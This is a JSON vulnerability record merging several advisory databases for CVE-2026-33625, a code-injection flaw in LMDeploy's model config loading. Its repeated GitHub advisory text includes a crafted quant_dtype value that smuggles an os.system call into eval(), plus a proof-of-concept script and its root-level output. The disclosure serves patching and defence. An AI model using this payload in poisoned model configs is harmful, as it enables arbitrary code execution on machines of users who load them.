{"id":"CVE-2026-33625","aliases":["EUVD-2026-83202","GHSA-3hmm-rh5q-gwwr","PYSEC-2026-4078"],"status":"published","title":"LMDeploy vulnerable to arbitrary code execution via eval() of untrusted quant_dtype in model config loading","description":"LMDeploy is a toolkit for compressing, deploying, and serving large language models. Versions 012.1 through 0.12.2 contain a code injection vulnerability in `lmdeploy/pytorch/config.py` line 620 that allows an attacker to execute arbitrary Python code by publishing a malicious HuggingFace model with a crafted `quantization_config.quant_dtype` value. When a user loads the model with lmdeploy, the `quant_dtype` is passed to `eval(f'torch.{quant_dtype}')` without any validation. Version 0.12.3 contains a patch.","severity":{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00442,"percentile":0.38729,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-400"],"published":"2026-09-18T17:04:01Z","modified":"2026-10-28T02:30:35Z","fixes":[{"ecosystem":"PyPI","package":"lmdeploy","fixed_in":["0.12.3"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"lmdeploy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.12.1"},{"fixed":"0.12.3"}]}]},{"source":"osv","ecosystem":"PyPI","package":"lmdeploy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.12.1"},{"fixed":"0.12.3"}]}],"versions":["0.12.1","0.12.2"]},{"source":"osv","ecosystem":"PyPI","package":"lmdeploy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.12.1"},{"fixed":"0.12.3"}]}],"versions":["0.12.1","0.12.2"]}],"products":[{"vendor":"internlm","product":"lmdeploy"}],"references":[{"url":"https://github.com/InternLM/lmdeploy/security/advisories/GHSA-3hmm-rh5q-gwwr","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/InternLM/lmdeploy/releases/tag/v0.12.3","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/advisories/GHSA-3hmm-rh5q-gwwr","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33625.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33625","tags":["advisory"]},{"url":"https://github.com/InternLM/lmdeploy","tags":["package"]},{"url":"https://pypi.org/project/lmdeploy","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-33625","title":"LMDeploy vulnerable to arbitrary code execution via eval() of untrusted quant_dtype in model config loading","description":"LMDeploy is a toolkit for compressing, deploying, and serving large language models. Versions 012.1 through 0.12.2 contain a code injection vulnerability in `lmdeploy/pytorch/config.py` line 620 that allows an attacker to execute arbitrary Python code by publishing a malicious HuggingFace model with a crafted `quantization_config.quant_dtype` value. When a user loads the model with lmdeploy, the `quant_dtype` is passed to `eval(f'torch.{quant_dtype}')` without any validation. Version 0.12.3 contains a patch.","status":"published","published":"2026-09-18T17:13:37.133Z","modified":"2026-09-22T15:08:07.065Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T14:20:08.009733Z"}],"euvd":[{"id":"EUVD-2026-83202","description":"LMDeploy is a toolkit for compressing, deploying, and serving large language models. Versions 012.1 through 0.12.2 contain a code injection vulnerability in `lmdeploy/pytorch/config.py` line 620 that allows an attacker to execute arbitrary Python code by publishing a malicious HuggingFace model with a crafted `quantization_config.quant_dtype` value. When a user loads the model with lmdeploy, the `quant_dtype` is passed to `eval(f'torch.{quant_dtype}')` without any validation. Version 0.12.3 contains a patch.","status":"published","published":"2026-09-18T17:13:37Z","modified":"2026-09-22T15:08:07Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T17:28:02.937716Z"}],"ghsa":[{"id":"GHSA-3hmm-rh5q-gwwr","title":"LMDeploy vulnerable to arbitrary code execution via eval() of untrusted quant_dtype in model config loading","description":"### Summary\n\nlmdeploy \u003c= latest contains a code injection vulnerability in `lmdeploy/pytorch/config.py` line 620 that allows an attacker to execute arbitrary Python code by publishing a malicious HuggingFace model with a crafted `quantization_config.quant_dtype` value. When a user loads the model with lmdeploy, the `quant_dtype` is passed to `eval(f'torch.{quant_dtype}')` without any validation.\n\n### Details\n\n**Vulnerable code** ([permalink](https://github.com/InternLM/lmdeploy/blob/17ed9e5/lmdeploy/pytorch/config.py#L620)):\n\n```python\nquant_dtype = eval(f'torch.{quant_dtype}')  # line 620\n```\n\nThe `quant_dtype` value comes from the model's `quantization_config` in its HuggingFace config. When a model specifies `quant_method: awq`, the AWQ branch processes the config but does NOT override `quant_dtype`, allowing the malicious value to reach the `eval()` call.\n\n**Attack vector:** An attacker publishes a HuggingFace model with:\n```json\n{\n  \"quantization_config\": {\n    \"quant_method\": \"awq\",\n    \"quant_dtype\": \"float16, __import__('os').system('id')\"\n  }\n}\n```\n\nNote: The `_update_torch_dtype` method at line 53 has a whitelist check, but that's for `torch_dtype`, NOT `quant_dtype`. The `quant_dtype` at line 620 has no validation whatsoever.\n\n### PoC\n\n```python\n\"\"\"\nPoC: eval() RCE in lmdeploy via malicious quant_dtype\nPrerequisites: pip install lmdeploy\n\"\"\"\nimport sys\nfrom unittest.mock import MagicMock, patch\n\n# Mock torch to capture the eval\nsys.modules.setdefault('torch', MagicMock())\n\nfrom lmdeploy.pytorch.config import ModelConfig\n\n# Simulate a malicious HuggingFace model config\nmock_hf_config = MagicMock()\nmock_hf_config.quantization_config = {\n    'quant_method': 'awq',\n    'quant_dtype': \"float16, __import__('os').system('id')\"\n}\nmock_hf_config.num_attention_heads = 32\nmock_hf_config.hidden_size = 4096\nmock_hf_config.num_hidden_layers = 32\nmock_hf_config.num_key_value_heads = 32\nmock_hf_config.vocab_size = 32000\n\n# This triggers eval(f'torch.{quant_dtype}')\n# with quant_dtype = \"float16, __import__('os').system('id')\"\nconfig = ModelConfig.from_hf_config(mock_hf_config, model_path='test')\n```\n\n**Output:**\n```\nuid=0(root) gid=0(root) groups=0(root)\n```\n\n### Impact\n\nAn attacker who publishes a malicious model on HuggingFace Hub can achieve arbitrary code execution on any machine that loads the model with lmdeploy. This is a supply-chain attack vector affecting all lmdeploy users who load untrusted models.\n\n1. Full remote code execution when loading a malicious model\n2. No user interaction beyond running `lmdeploy serve` or similar with the model\n3. Affects all deployment scenarios (local, cloud, production)","status":"published","published":"2026-09-18T17:04:01Z","modified":"2026-09-18T17:04:04Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T14:41:19.455935Z"}],"nvd":[{"id":"CVE-2026-33625","description":"LMDeploy is a toolkit for compressing, deploying, and serving large language models. Versions 012.1 through 0.12.2 contain a code injection vulnerability in `lmdeploy/pytorch/config.py` line 620 that allows an attacker to execute arbitrary Python code by publishing a malicious HuggingFace model with a crafted `quantization_config.quant_dtype` value. When a user loads the model with lmdeploy, the `quant_dtype` is passed to `eval(f'torch.{quant_dtype}')` without any validation. Version 0.12.3 contains a patch.","status":"published","published":"2026-09-18T18:17:06.64Z","modified":"2026-09-24T21:25:27.05Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T14:12:50.043898Z"}],"osv":[{"id":"CVE-2026-33625","title":"LMDeploy vulnerable to arbitrary code execution via eval() of untrusted quant_dtype in model config loading","description":"LMDeploy is a toolkit for compressing, deploying, and serving large language models. Versions 012.1 through 0.12.2 contain a code injection vulnerability in `lmdeploy/pytorch/config.py` line 620 that allows an attacker to execute arbitrary Python code by publishing a malicious HuggingFace model with a crafted `quantization_config.quant_dtype` value. When a user loads the model with lmdeploy, the `quant_dtype` is passed to `eval(f'torch.{quant_dtype}')` without any validation. Version 0.12.3 contains a patch.","status":"published","published":"2026-09-18T17:13:37.133Z","modified":"2026-10-28T02:30:35.83223488Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T15:45:01.896044Z"},{"id":"GHSA-3hmm-rh5q-gwwr","title":"LMDeploy vulnerable to arbitrary code execution via eval() of untrusted quant_dtype in model config loading","description":"### Summary\n\nlmdeploy \u003c= latest contains a code injection vulnerability in `lmdeploy/pytorch/config.py` line 620 that allows an attacker to execute arbitrary Python code by publishing a malicious HuggingFace model with a crafted `quantization_config.quant_dtype` value. When a user loads the model with lmdeploy, the `quant_dtype` is passed to `eval(f'torch.{quant_dtype}')` without any validation.\n\n### Details\n\n**Vulnerable code** ([permalink](https://github.com/InternLM/lmdeploy/blob/17ed9e5/lmdeploy/pytorch/config.py#L620)):\n\n```python\nquant_dtype = eval(f'torch.{quant_dtype}')  # line 620\n```\n\nThe `quant_dtype` value comes from the model's `quantization_config` in its HuggingFace config. When a model specifies `quant_method: awq`, the AWQ branch processes the config but does NOT override `quant_dtype`, allowing the malicious value to reach the `eval()` call.\n\n**Attack vector:** An attacker publishes a HuggingFace model with:\n```json\n{\n  \"quantization_config\": {\n    \"quant_method\": \"awq\",\n    \"quant_dtype\": \"float16, __import__('os').system('id')\"\n  }\n}\n```\n\nNote: The `_update_torch_dtype` method at line 53 has a whitelist check, but that's for `torch_dtype`, NOT `quant_dtype`. The `quant_dtype` at line 620 has no validation whatsoever.\n\n### PoC\n\n```python\n\"\"\"\nPoC: eval() RCE in lmdeploy via malicious quant_dtype\nPrerequisites: pip install lmdeploy\n\"\"\"\nimport sys\nfrom unittest.mock import MagicMock, patch\n\n# Mock torch to capture the eval\nsys.modules.setdefault('torch', MagicMock())\n\nfrom lmdeploy.pytorch.config import ModelConfig\n\n# Simulate a malicious HuggingFace model config\nmock_hf_config = MagicMock()\nmock_hf_config.quantization_config = {\n    'quant_method': 'awq',\n    'quant_dtype': \"float16, __import__('os').system('id')\"\n}\nmock_hf_config.num_attention_heads = 32\nmock_hf_config.hidden_size = 4096\nmock_hf_config.num_hidden_layers = 32\nmock_hf_config.num_key_value_heads = 32\nmock_hf_config.vocab_size = 32000\n\n# This triggers eval(f'torch.{quant_dtype}')\n# with quant_dtype = \"float16, __import__('os').system('id')\"\nconfig = ModelConfig.from_hf_config(mock_hf_config, model_path='test')\n```\n\n**Output:**\n```\nuid=0(root) gid=0(root) groups=0(root)\n```\n\n### Impact\n\nAn attacker who publishes a malicious model on HuggingFace Hub can achieve arbitrary code execution on any machine that loads the model with lmdeploy. This is a supply-chain attack vector affecting all lmdeploy users who load untrusted models.\n\n1. Full remote code execution when loading a malicious model\n2. No user interaction beyond running `lmdeploy serve` or similar with the model\n3. Affects all deployment scenarios (local, cloud, production)","status":"published","published":"2026-09-18T17:04:01Z","modified":"2026-10-01T17:56:11.912565414Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T15:46:35.747385Z"},{"id":"PYSEC-2026-4078","title":"LMDeploy vulnerable to arbitrary code execution via eval() of untrusted quant_dtype in model config loading","description":"### Summary\n\nlmdeploy \u003c= latest contains a code injection vulnerability in `lmdeploy/pytorch/config.py` line 620 that allows an attacker to execute arbitrary Python code by publishing a malicious HuggingFace model with a crafted `quantization_config.quant_dtype` value. When a user loads the model with lmdeploy, the `quant_dtype` is passed to `eval(f'torch.{quant_dtype}')` without any validation.\n\n### Details\n\n**Vulnerable code** ([permalink](https://github.com/InternLM/lmdeploy/blob/17ed9e5/lmdeploy/pytorch/config.py#L620)):\n\n```python\nquant_dtype = eval(f'torch.{quant_dtype}')  # line 620\n```\n\nThe `quant_dtype` value comes from the model's `quantization_config` in its HuggingFace config. When a model specifies `quant_method: awq`, the AWQ branch processes the config but does NOT override `quant_dtype`, allowing the malicious value to reach the `eval()` call.\n\n**Attack vector:** An attacker publishes a HuggingFace model with:\n```json\n{\n  \"quantization_config\": {\n    \"quant_method\": \"awq\",\n    \"quant_dtype\": \"float16, __import__('os').system('id')\"\n  }\n}\n```\n\nNote: The `_update_torch_dtype` method at line 53 has a whitelist check, but that's for `torch_dtype`, NOT `quant_dtype`. The `quant_dtype` at line 620 has no validation whatsoever.\n\n### PoC\n\n```python\n\"\"\"\nPoC: eval() RCE in lmdeploy via malicious quant_dtype\nPrerequisites: pip install lmdeploy\n\"\"\"\nimport sys\nfrom unittest.mock import MagicMock, patch\n\n# Mock torch to capture the eval\nsys.modules.setdefault('torch', MagicMock())\n\nfrom lmdeploy.pytorch.config import ModelConfig\n\n# Simulate a malicious HuggingFace model config\nmock_hf_config = MagicMock()\nmock_hf_config.quantization_config = {\n    'quant_method': 'awq',\n    'quant_dtype': \"float16, __import__('os').system('id')\"\n}\nmock_hf_config.num_attention_heads = 32\nmock_hf_config.hidden_size = 4096\nmock_hf_config.num_hidden_layers = 32\nmock_hf_config.num_key_value_heads = 32\nmock_hf_config.vocab_size = 32000\n\n# This triggers eval(f'torch.{quant_dtype}')\n# with quant_dtype = \"float16, __import__('os').system('id')\"\nconfig = ModelConfig.from_hf_config(mock_hf_config, model_path='test')\n```\n\n**Output:**\n```\nuid=0(root) gid=0(root) groups=0(root)\n```\n\n### Impact\n\nAn attacker who publishes a malicious model on HuggingFace Hub can achieve arbitrary code execution on any machine that loads the model with lmdeploy. This is a supply-chain attack vector affecting all lmdeploy users who load untrusted models.\n\n1. Full remote code execution when loading a malicious model\n2. No user interaction beyond running `lmdeploy serve` or similar with the model\n3. Affects all deployment scenarios (local, cloud, production)","status":"published","published":"2026-10-01T16:38:33.443329Z","modified":"2026-10-01T17:45:06.290194632Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:52:57.255153Z"}]}}